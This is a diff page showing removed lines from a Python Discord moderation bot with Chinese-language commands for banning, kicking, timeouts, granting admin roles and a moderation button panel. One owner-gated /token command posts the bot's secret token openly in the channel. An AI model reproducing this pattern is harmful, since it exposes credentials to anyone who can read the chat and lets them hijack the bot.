discord_handler = DiscordLogHandler(bot, LOG_CHANNEL_ID)
|
102
|
-
discord_handler.setFormatter(logging.Formatter('%(asctime)s | %(levelname)s | %(message)s'))
|
103
|
-
logger.addHandler(discord_handler)
|
104
|
-
|
105
|
-
bot._token = token
|
106
|
-
|
107
|
-
def is_admin(interaction: discord.Interaction) -> bool:
|
108
|
-
return interaction.user.guild_permissions.administrator
|
109
|
-
|
110
|
-
@bot.event
|
111
|
-
async def on_ready():
|
112
|
-
await bot.wait_until_ready()
|
113
|
-
try:
|
114
|
-
synced = await bot.tree.sync()
|
115
|
-
logger.info(f"已同步 {len(synced)} 個 Slash 指令")
|
116
|
-
except Exception:
|
117
|
-
logger.exception("同步 Slash 指令失敗:")
|
118
|
-
logger.info(f"機器人上線:{bot.user}")
|
119
|
-
logger.info(f"powered by dcchbot")
|
120
|
-
|
121
|
-
@bot.tree.command(name="hello", description="跟你說哈囉")
|
122
|
-
async def hello(interaction: discord.Interaction):
|
123
|
-
logger.info(f"{interaction.user} 使用 /hello")
|
124
|
-
await interaction.response.send_message(f"哈囉 {interaction.user.mention}")
|
125
|
-
|
126
|
-
@bot.tree.command(name="ping", description="顯示延遲")
|
127
|
-
async def ping(interaction: discord.Interaction):
|
128
|
-
latency = round(bot.latency * 1000)
|
129
|
-
logger.info(f"{interaction.user} 使用 /ping ({latency}ms)")
|
130
|
-
await interaction.response.send_message(f"延遲:{latency}ms")
|
131
|
-
|
132
|
-
@bot.tree.command(name="say", description="讓機器人說話")
|
133
|
-
@app_commands.describe(message="你想說的話")
|
134
|
-
async def say(interaction: discord.Interaction, message: str):
|
135
|
-
logger.info(f"{interaction.user} 使用 /say:{message}")
|
136
|
-
await interaction.response.send_message(message)
|
137
|
-
|
138
|
-
@bot.tree.command(name="ban", description="封鎖使用者(限管理員)")
|
139
|
-
@app_commands.describe(member="要封鎖的使用者", reason="封鎖原因")
|
140
|
-
async def ban(interaction: discord.Interaction, member: discord.Member, reason: str = "未提供原因"):
|
141
|
-
if not is_admin(interaction):
|
142
|
-
return await interaction.response.send_message("你沒有權限執行此指令。", ephemeral=True)
|
143
|
-
try:
|
144
|
-
await member.ban(reason=reason)
|
145
|
-
await interaction.response.send_message(f"{member.mention} 已被封鎖。原因:{reason}")
|
146
|
-
except discord.Forbidden:
|
147
|
-
await interaction.response.send_message("權限不足,封鎖失敗。", ephemeral=True)
|
148
|
-
|
149
|
-
@bot.tree.command(name="kick", description="踢出使用者(限管理員)")
|
150
|
-
@app_commands.describe(member="要踢出的使用者", reason="踢出原因")
|
151
|
-
async def kick(interaction: discord.Interaction, member: discord.Member, reason: str = "未提供原因"):
|
152
|
-
if not is_admin(interaction):
|
153
|
-
return await interaction.response.send_message("你沒有權限執行此指令。", ephemeral=True)
|
154
|
-
try:
|
155
|
-
await member.kick(reason=reason)
|
156
|
-
await interaction.response.send_message(f"{member.mention} 已被踢出。原因:{reason}")
|
157
|
-
except discord.Forbidden:
|
158
|
-
await interaction.response.send_message("權限不足,踢出失敗。", ephemeral=True)
|
159
|
-
|
160
|
-
@bot.tree.command(name="warn", description="警告使用者(限管理員)")
|
161
|
-
@app_commands.describe(member="要警告的使用者", reason="警告原因")
|
162
|
-
async def warn(interaction: discord.Interaction, member: discord.Member, reason: str = "未提供原因"):
|
163
|
-
if not is_admin(interaction):
|
164
|
-
return await interaction.response.send_message("你沒有權限執行此指令。", ephemeral=True)
|
165
|
-
await interaction.response.send_message(f"{member.mention} 已被警告。原因:{reason}")
|
166
|
-
try:
|
167
|
-
await member.send(f"你在伺服器 {interaction.guild.name} 被警告:{reason}")
|
168
|
-
except:
|
169
|
-
pass
|
170
|
-
|
171
|
-
@bot.tree.command(name="shutthefuckup", description="暫時禁言使用者(限管理員)")
|
172
|
-
@app_commands.describe(member="要禁言的使用者", seconds="禁言秒數", reason="禁言原因")
|
173
|
-
async def timeout(interaction: discord.Interaction, member: discord.Member, seconds: int, reason: str = "未提供原因"):
|
174
|
-
if not is_admin(interaction):
|
175
|
-
return await interaction.response.send_message("你沒有權限執行此指令。", ephemeral=True)
|
176
|
-
until = datetime.utcnow() + timedelta(seconds=seconds)
|
177
|
-
await member.timeout(until, reason=reason)
|
178
|
-
await interaction.response.send_message(f"{member.mention} 已被禁言 {seconds} 秒。")
|
179
|
-
|
180
|
-
@bot.tree.command(name="op", description="賦予管理員權限(限擁有者)")
|
181
|
-
@app_commands.describe(member="要提權的使用者")
|
182
|
-
async def op(interaction: discord.Interaction, member: discord.Member):
|
183
|
-
if interaction.user.id != OWNER_ID and interaction.user.id != CODER_ID:
|
184
|
-
return await interaction.response.send_message("你不是擁有者。", ephemeral=True)
|
185
|
-
try:
|
186
|
-
role = discord.utils.get(interaction.guild.roles, permissions=discord.Permissions(administrator=True))
|
187
|
-
if not role:
|
188
|
-
role = await interaction.guild.create_role(name="管理員", permissions=discord.Permissions(administrator=True))
|
189
|
-
await member.add_roles(role)
|
190
|
-
await interaction.response.send_message(f"{member.mention} 已被提權。")
|
191
|
-
except Exception as e:
|
192
|
-
await interaction.response.send_message(f"提權失敗:{e}", ephemeral=True)
|
193
|
-
|
194
|
-
@bot.tree.command(name="moderate", description="打開管理 GUI 面板")
|
195
|
-
@app_commands.describe(member="要管理的對象")
|
196
|
-
async def moderate(interaction: discord.Interaction, member: discord.Member):
|
197
|
-
if not is_admin(interaction):
|
198
|
-
return await interaction.response.send_message("你沒有權限使用此指令。", ephemeral=True)
|
199
|
-
view = ModerationView(member, interaction.user)
|
200
|
-
await interaction.response.send_message(f"請選擇對 {member.mention} 的操作:", view=view, ephemeral=True)
|
201
|
-
|
202
|
-
@bot.tree.command(name="stop", description="關閉機器人(限擁有者)")
|
203
|
-
async def stop(interaction: discord.Interaction):
|
204
|
-
if interaction.user.id != OWNER_ID and interaction.user.id != CODER_ID:
|
205
|
-
return await interaction.response.send_message("只有擁有者可以使用此指令。", ephemeral=True)
|
206
|
-
await interaction.response.send_message("機器人即將關閉。")
|
207
|
-
await bot.close()
|
208
|
-
|
209
|
-
@bot.tree.command(name="token", description="顯示機器人 token")
|
210
|
-
async def token_cmd(interaction: discord.Interaction):
|
211
|
-
if interaction.user.id != OWNER_ID and interaction.user.id != CODER_ID:
|
212
|
-
return await interaction.response.send_message("只有擁有者可以使用此指令。", ephemeral=True)
|
213
|
-
await interaction.response.send_message(bot._token)
|
214
|
-
|
215
|
-
@bot.tree.command(name="log", description="紀錄 log(限管理員)")
|
216
|
-
@app_commands.describe(log="內容")
|
217
|
-
async def log_cmd(interaction: discord.Interaction, log: str = "null"):
|
218
|
-
if not is_admin(interaction):
|
219
|
-
return await interaction.response.send_message("你沒有權限執行此指令。", ephemeral=True)
|
220
|
-
logger.info(f"{log}")
|
221
|
-
await interaction.response.send_message("Log 已紀錄。")
|
222
|
-
|
223
|
-
@bot.tree.command(name="time", description="顯示時間")
|
224
|
-
async def time(interaction: discord.Interaction):
|
225
|
-
logger.info(f"{interaction.user} 使用 /time:{now}")
|
226
|
-
await interaction.response.send_message(str(now))
|
227
|
-
|
228
|
-
@bot.tree.command(name="version", description="顯示機器人版本")
|
229
|
-
async def version(interaction: discord.Interaction):
|
230
|
-
await interaction.response.send_message("dcchbot 1.8.4")
|
231
|
-
@bot.tree.command(name="deop", description="移除管理員權限(限管理員)")
|
232
|
-
@app_commands.describe(member="要移除管理員權限的使用者")
|
233
|
-
async def deop(interaction: discord.Interaction, member: discord.Member):
|
234
|
-
if not is_admin(interaction):
|
235
|
-
return await interaction.response.send_message("你沒有權限執行此指令。", ephemeral=True)
|
236
|
-
admin_role = discord.utils.get(interaction.guild.roles, permissions=discord.Permissions(administrator=True))
|
237
|
-
if admin_role:
|
238
|
-
await member.remove_roles(admin_role)
|
239
|
-
logger.info(f"{member} 被 {interaction.user} 移除管理員權限")
|
240
|
-
await interaction.response.send_message(f"{member.mention} 的管理員權限已被移除。")
|
241
|
-
else:
|
242
|
-
await interaction.response.send_message("找不到管理員權限的角色。", ephemeral=True)
|
243
|
-
try:
|
244
|
-
logger.info("正在啟動機器人...")
|
245
|
-
bot.run(token)
|
246
|
-
while True:
|
247
|
-
try:
|
248
|
-
shell_command = input("請輸入 shell 命令(輸入 !!help 查看):\n> ").strip()
|
249
|
-
shell(shell_command)
|
250
|
-
except (KeyboardInterrupt, EOFError):
|
251
|
-
print("E:Shell 已關閉")
|
252
|
-
break
|
253
|
-
except discord.LoginFailure:
|
254
|
-
logger.error("Token 無效,請重新確認。")
|
255
|
-
except Exception as e:
|
256
|
-
logger.exception(f"發生錯誤:{e}")
|
257
|
-
|
258
|
-
# ─── GUI 面板 ──────────────────────────────────────────────────
|
259
|
-
class ModerationView(discord.ui.View):
|
260
|
-
def __init__(self, member: discord.Member, author: discord.Member):
|
261
|
-
super().__init__(timeout=60)
|
262
|
-
self.member = member
|
263
|
-
self.author = author
|
264
|
-
|
265
|
-
async def interaction_check(self, interaction: discord.Interaction) -> bool:
|
266
|
-
return interaction.user.id == self.author.id
|
267
|
-
|
268
|
-
@discord.ui.button(label="警告", style=discord.ButtonStyle.secondary)
|
269
|
-
async def warn_button(self, interaction: discord.Interaction, button: discord.ui.Button):
|
270
|
-
await self.member.send(f"你在伺服器 {interaction.guild.name} 被警告。")
|
271
|
-
await interaction.response.send_message(f"{self.member.mention} 已被警告。", ephemeral=True)
|
272
|
-
|
273
|
-
@discord.ui.button(label="閉嘴 60 秒", style=discord.ButtonStyle.primary)
|
274
|
-
async def timeout_button(self, interaction: discord.Interaction, button: discord.ui.Button):
|
275
|
-
until = datetime.utcnow() + timedelta(seconds=60)
|
276
|
-
await self.member.timeout(until, reason="由管理員 GUI 操作禁言")
|
277
|
-
await interaction.response.send_message(f"{self.member.mention} 已被禁言 60 秒。", ephemeral=True)
|
278
|
-
|
279
|
-
@discord.ui.button(label="踢出", style=discord.ButtonStyle.danger)
|
280
|
-
async def kick_button(self, interaction: discord.Interaction, button: discord.ui.Button):
|
281
|
-
await self.member.kick(reason="由管理員 GUI 操作踢出")
|
282
|
-
await interaction.response.send_message(f"{self.member.mention} 已被踢出。", ephemeral=True)
|
283
|
-
|
284
|
-
@discord.ui.button(label="封鎖", style=discord.ButtonStyle.danger)
|
285
|
-
async def ban_button(self, interaction: discord.Interaction, button: discord.ui.Button):
|
286
|
-
await self.member.ban(reason="由管理員 GUI 操作封鎖")
|
287
|
-
await interaction.response.send_message(f"{self.member.mention} 已被封鎖。", ephemeral=True)
|
288
|
-
|
289
|
-
# ─── 啟動 ──────────────────────────────────────────────────────
|
290
|
-
if __name__ == "__main__":
|
291
|
-
run()
|
File without changes
|
File without changes
|
File without changes
|
File without changes
|
File without changes
|
File without changes
|
File without changes
|
File without changes
|
File without changes
|